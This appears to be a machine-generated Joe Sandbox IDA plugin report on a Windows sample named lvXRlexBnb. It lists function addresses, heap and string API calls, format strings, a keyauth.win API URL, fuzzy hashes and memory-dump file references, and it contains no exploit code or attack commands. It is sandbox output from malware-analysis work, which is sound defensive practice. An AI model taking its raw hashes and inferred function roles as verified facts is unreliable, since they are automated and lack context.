free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B730D25), ref: 00007FF79B7342B6
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B730D25), ref: 00007FF79B7342D7
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B730D25), ref: 00007FF79B7342F2
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B730D25), ref: 00007FF79B734300
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B730D25), ref: 00007FF79B734312

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 2024636b2d1604517faee22fc84d3286981bba4572d67bae73b6b26a62bf0446
Instruction ID: b6658073171ddcf6430d35d8e51d062cd2cfd8f3251b6586765a0e07f28022d1
Opcode Fuzzy Hash: 2024636b2d1604517faee22fc84d3286981bba4572d67bae73b6b26a62bf0446
Instruction Fuzzy Hash: FD118336604B45C2DB14AF79E99012CB3A4FB88F887444626CE5E47778CF78D995C360

Function 00007FF79B739BAF Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 132COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B739EBF

Strings

GMT, xrefs: 00007FF79B739C5E
%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s, xrefs: 00007FF79B739CD1
TRUE, xrefs: 00007FF79B739EC9

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID: GMT$%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s$TRUE
API String ID: 1294909896-910067264
Opcode ID: 02a75f58ffacef6802f716bea87759d1f8428b31b63a0010405d9e98485556c6
Instruction ID: b88756ada4ec46d354b610e1ced9f2f5dfbe79cf4183d0252f2515a5391b9e84
Opcode Fuzzy Hash: 02a75f58ffacef6802f716bea87759d1f8428b31b63a0010405d9e98485556c6
Instruction Fuzzy Hash: 3051C662B0C69E44EB359B3DB5481B9E7A6AB09790FC44233DA4E027B4DF3CD649C320

Function 00007FF79B738EC0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 122COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7391F6

Strings

%s: %s, xrefs: 00007FF79B7391E1
GMT, xrefs: 00007FF79B738F7E
%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s, xrefs: 00007FF79B738FEA

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID: %s: %s$ GMT$%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s
API String ID: 1294909896-2632828617
Opcode ID: f60b2e51f519615eef786d8073e28d31358248af6a85787eb4334c3cf12e941d
Instruction ID: f622c6607f95ecb864b6bd4c79a622cbd07b48bc2683eaa009780de7e3ba0126
Opcode Fuzzy Hash: f60b2e51f519615eef786d8073e28d31358248af6a85787eb4334c3cf12e941d
Instruction Fuzzy Hash: 0341B761A0C69A85EA749B39B5082B9E792FB497A0FC44233DE8D13774CF3DE649C710

Function 00007FF79B6ED4D0 Relevance: 6.1, APIs: 4, Instructions: 117COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF79B6ED198), ref: 00007FF79B6ED5AE
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF79B6ED198), ref: 00007FF79B6ED5DC
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF79B6ED198), ref: 00007FF79B6ED645

Part of subcall function 00007FF79B73F1F0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,-3333333333333333,00007FF79B6E43EE,7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF79B6E1B49), ref: 00007FF79B73F20A

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF79B6ED652

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmallocmemcpymemset
String ID:
API String ID: 2942768764-0
Opcode ID: 85720bd983f436f4aa73aff36a529999d2e6a53fd0a7c81ddb3163e5256d1ca4
Instruction ID: a103b5606df2ce2293661d5d367db746209d32f2b6ca2dc7862de59d2bcce044
Opcode Fuzzy Hash: 85720bd983f436f4aa73aff36a529999d2e6a53fd0a7c81ddb3163e5256d1ca4
Instruction Fuzzy Hash: 9641B472705A4985EA24AFB9D54427DA362BB48BA4F948A31CB3D077E4DF3DF2618310

Function 00007FF79B73AC70 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,?,00007FF79B71E220,?,?,?,?,?,?,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_,?), ref: 00007FF79B73ACC3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73AD4C

Strings

%s, xrefs: 00007FF79B73AC95

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID: %s
API String ID: 1294909896-3043279178
Opcode ID: dce2de37e97ba3121b39420a420f3ffe21f4b37a0ee740fa9a1d3028c897691b
Instruction ID: f17106768cb5cff79928dd3f8c8bba492b6af47561dbb1046e39365c9c44ee5a
Opcode Fuzzy Hash: dce2de37e97ba3121b39420a420f3ffe21f4b37a0ee740fa9a1d3028c897691b
Instruction Fuzzy Hash: 10419732618B4982EA61DB2AF4411AEF3A1FB49B90F444236DF9D43BB5DF3CE1958710

Function 00007FF79B6E4D50 Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF79B6E4E2F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E4E6C
memcpy.VCRUNTIME140 ref: 00007FF79B6E4E76
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF79B6E4EA3

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1775671525-0
Opcode ID: 5c85aa3a3311362c9070413258333b9d711f4247dfcae00e6bbf08e53cf1990d
Instruction ID: 8a89020d805d925a9caee02816b760bbaa3ca167408bb11500e6402fd14da730
Opcode Fuzzy Hash: 5c85aa3a3311362c9070413258333b9d711f4247dfcae00e6bbf08e53cf1990d
Instruction Fuzzy Hash: AB31E72270978954EE24AB7AA50426CA352AB08BE0F980739DF7D077E5DE7DF2618310

Function 00007FF79B739AF5 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B739EBF

Strings

GMT, xrefs: 00007FF79B739B49
TRUE, xrefs: 00007FF79B739EC9
%u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s, xrefs: 00007FF79B739B9B

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID: %u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s$GMT$TRUE
API String ID: 1294909896-918878739
Opcode ID: cf9aa252f422a400f87b355d1684e97f3e4706dadaf5d5527515fc444d0a9930
Instruction ID: 630d0642dae1c4ab9fba94b376d488b017ec791d919ac2991af07c26905a50f2
Opcode Fuzzy Hash: cf9aa252f422a400f87b355d1684e97f3e4706dadaf5d5527515fc444d0a9930
Instruction Fuzzy Hash: 5131A362A09A8985EB209B7DE5441B9F762FB48794FC44633DA4E037B4DF3CE649C320

Function 00007FF79B7261CD Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 84COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B726204

Part of subcall function 00007FF79B705AF0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF79B705C15
Part of subcall function 00007FF79B705AF0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF79B705C30

Strings

Wildcard - START of "%s", xrefs: 00007FF79B72620D
Wildcard - "%s" skipped by user, xrefs: 00007FF79B72626D
%s%s, xrefs: 00007FF79B7261D4

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: fwrite$free
String ID: %s%s$Wildcard - "%s" skipped by user$Wildcard - START of "%s"
API String ID: 3468156532-1133524294
Opcode ID: 72e8115e190613d61a510a9022a254eb563f41d079b2800816e9a6c2228482a0
Instruction ID: 9661bffbef0600e19fc59cb3a63f9d45d87e43cc99ac1be597da5aab33a093d5
Opcode Fuzzy Hash: 72e8115e190613d61a510a9022a254eb563f41d079b2800816e9a6c2228482a0
Instruction Fuzzy Hash: C0414472A08A49C5E720EF7DD8841ADA3A1FB48B85F854237DE4E4B379DE38D545C360

Function 00007FF79B738E05 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7391F6

Strings

%s: %s, xrefs: 00007FF79B7391E1
GMT, xrefs: 00007FF79B738E59
%u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s, xrefs: 00007FF79B738EA9

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID: %s: %s$%u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s$GMT
API String ID: 1294909896-1153420294
Opcode ID: c8d5e4a8ff85ba13f6c5b70e3070ea00d9005e9db9aac26ba7c889d65a3b0171
Instruction ID: 4fc85f39f2254dde41ff6b4028159c16969a6797266ee657b53febaac7dd590c
Opcode Fuzzy Hash: c8d5e4a8ff85ba13f6c5b70e3070ea00d9005e9db9aac26ba7c889d65a3b0171
Instruction Fuzzy Hash: 1231C361A08B8988E770AB78E4446B9B3A2FB49B80FD40233DA5E13271CF7CD749C310

Function 00007FF79B739D3D Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B739D78
memcpy.VCRUNTIME140 ref: 00007FF79B739D9E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B739EBF

Strings

TRUE, xrefs: 00007FF79B739EC9

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: freemallocmemcpy
String ID: TRUE
API String ID: 3056473165-3412697401
Opcode ID: 0a46df6ddcc284711443a9b7be861963df002ccb44c57c74328d9d386c14981d
Instruction ID: 3b58cab215d55aeb54d5bad74c581fd912d57bbca436a815d9936619ef4c0ecf
Opcode Fuzzy Hash: 0a46df6ddcc284711443a9b7be861963df002ccb44c57c74328d9d386c14981d
Instruction Fuzzy Hash: 4B21B566B0974A44FF259A3DA508375A752AB48BE4F844633CD2F037F4DE7DE2458320

Function 00007FF79B700240 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B700292
memcpy.VCRUNTIME140 ref: 00007FF79B7002CD

Part of subcall function 00007FF79B6F5620: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F5635

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B700302

Part of subcall function 00007FF79B6F5730: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B6FFD30,?,?,?,?,?,?,?,?,?,?,00000000,00007FF79B6F1B61), ref: 00007FF79B6F5757
Part of subcall function 00007FF79B6F5730: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B6FFD30,?,?,?,?,?,?,?,?,?,?,00000000,00007FF79B6F1B61), ref: 00007FF79B6F5763

Strings

%s:, xrefs: 00007FF79B7002AC

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$malloc$memcpy
String ID: %s:
API String ID: 901724546-64597662
Opcode ID: d13fa5098978c9ff860a4a50749aa612649a5d79ab32cbef5b6c1ca183ae7892
Instruction ID: 3f1ca025eacd5f95412a2a1d10a78c18ef7286e27e3dbbd924325ba98d94a883
Opcode Fuzzy Hash: d13fa5098978c9ff860a4a50749aa612649a5d79ab32cbef5b6c1ca183ae7892
Instruction Fuzzy Hash: 0A21D826A08A8981DB21DF2AE9401AAB365FB58FF4F840233DE6D077B5DF3CD6458350

Function 00007FF79B739051 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73908C
memcpy.VCRUNTIME140 ref: 00007FF79B7390B2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7391F6

Strings

%s: %s, xrefs: 00007FF79B7391E1

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: freemallocmemcpy
String ID: %s: %s
API String ID: 3056473165-1451338302
Opcode ID: 5220cc3d17588d35cad3d5a67b2830ac868535652abc24202a45ac1b11bc70fb
Instruction ID: 8d66797cd935e704d85e835e45358fdce6a044b70d28ebb791b4f3e49bb01c32
Opcode Fuzzy Hash: 5220cc3d17588d35cad3d5a67b2830ac868535652abc24202a45ac1b11bc70fb
Instruction Fuzzy Hash: 80219551B0D78541EA75AA2A79083B5D2517B89FE0F844333CE5E17BB5DE3CD2498311

Function 00007FF79B7370AA Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 60COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B737589

Strings

%s%lx, xrefs: 00007FF79B737105
Start Date: %s, xrefs: 00007FF79B737577
Start Date, xrefs: 00007FF79B73755D

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID: Start Date: %s$%s%lx$Start Date
API String ID: 1294909896-3519493645
Opcode ID: d226b40c569d856c120d596ceab6aaf83955d24eba0c30aa2b7f35493c273657
Instruction ID: 9c50576823c99094f76bb0ba5ba68821713c5f2464c96ed3469b5eb46b75f691
Opcode Fuzzy Hash: d226b40c569d856c120d596ceab6aaf83955d24eba0c30aa2b7f35493c273657
Instruction Fuzzy Hash: BE21BB51B0D29E55EE346B3DA4446F9A753AB0DB84FC45A33C91E1B672EE2DE3488320

Function 00007FF79B7092DD Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 56stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00007FF79B708FA8), ref: 00007FF79B7090F5
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00007FF79B708FA8), ref: 00007FF79B70910F

Strings

I32, xrefs: 00007FF79B7090E5
I64, xrefs: 00007FF79B709105

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: strncmp
String ID: I32$I64
API String ID: 1114863663-3980630743
Opcode ID: 0be37fdb7193815d16d30311619a46b69f6c7193939b8a1f8b95d73bb161b846
Instruction ID: 912d790a9cd7872997ff858d4e83e57a9711514289dcee878a2fe43296ab8166
Opcode Fuzzy Hash: 0be37fdb7193815d16d30311619a46b69f6c7193939b8a1f8b95d73bb161b846
Instruction Fuzzy Hash: F0219522A0C55B46E7356B39D8542B9FAA59B4DF48F898233CB49422F5DE2CD704C760

Function 00007FF79B733130 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B733E99,00000000,?,?,00007FF79B733456), ref: 00007FF79B733159
realloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B733E99,00000000,?,?,00007FF79B733456), ref: 00007FF79B733190
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B733E99,00000000,?,?,00007FF79B733456), ref: 00007FF79B7331A2
memcpy.VCRUNTIME140(?,?,?,00007FF79B733E99,00000000,?,?,00007FF79B733456), ref: 00007FF79B7331CA

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: freemallocmemcpyrealloc
String ID:
API String ID: 3881842442-0
Opcode ID: cea1445d491202ccc5f1bb3fde8ba13241085fcd7cbefc25c7e8a0734b400696
Instruction ID: cf8a37899f52a63fc2bcc4b0b93b937f7d7c7040d9ea2b3dc5a0897208641f46
Opcode Fuzzy Hash: cea1445d491202ccc5f1bb3fde8ba13241085fcd7cbefc25c7e8a0734b400696
Instruction Fuzzy Hash: 78216F26609F8582DB64CF29F490229A3A0FB48FC8F888532DE5D07768EF38D595C310

Function 00007FF79B7224B0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 54stringCOMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7224CD
strstr.VCRUNTIME140 ref: 00007FF79B72250C
strstr.VCRUNTIME140 ref: 00007FF79B722524

Strings

;type=, xrefs: 00007FF79B7224FF, 00007FF79B72251D

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: strstr$calloc
String ID: ;type=
API String ID: 3224321581-3507045495
Opcode ID: 503c6b424d6b1e014a1666fb9fd3bb4b3630a5bb9643ad5680baf9e24bbaafc3
Instruction ID: 7000ccb572179bf97d8de3c272eedea34c0cbc4f103597e8fa55ab585fecdcca
Opcode Fuzzy Hash: 503c6b424d6b1e014a1666fb9fd3bb4b3630a5bb9643ad5680baf9e24bbaafc3
Instruction Fuzzy Hash: ED21B53150868581EB259B39E0403A867A0FB4CB84F888276DB9E477F5DF6CE6918320

Function 00007FF79B71BF40 Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

realloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B7004B9,?,?,?,?,00007FF79B6FF85B), ref: 00007FF79B71BF68
GetEnvironmentVariableA.KERNEL32(?,?,?,00007FF79B7004B9,?,?,?,?,00007FF79B6FF85B), ref: 00007FF79B71BF8E
realloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B7004B9,?,?,?,?,00007FF79B6FF85B), ref: 00007FF79B71BFAF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B7004B9,?,?,?,?,00007FF79B6FF85B), ref: 00007FF79B71BFC0

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: realloc$EnvironmentVariablefree
String ID:
API String ID: 2828309815-0
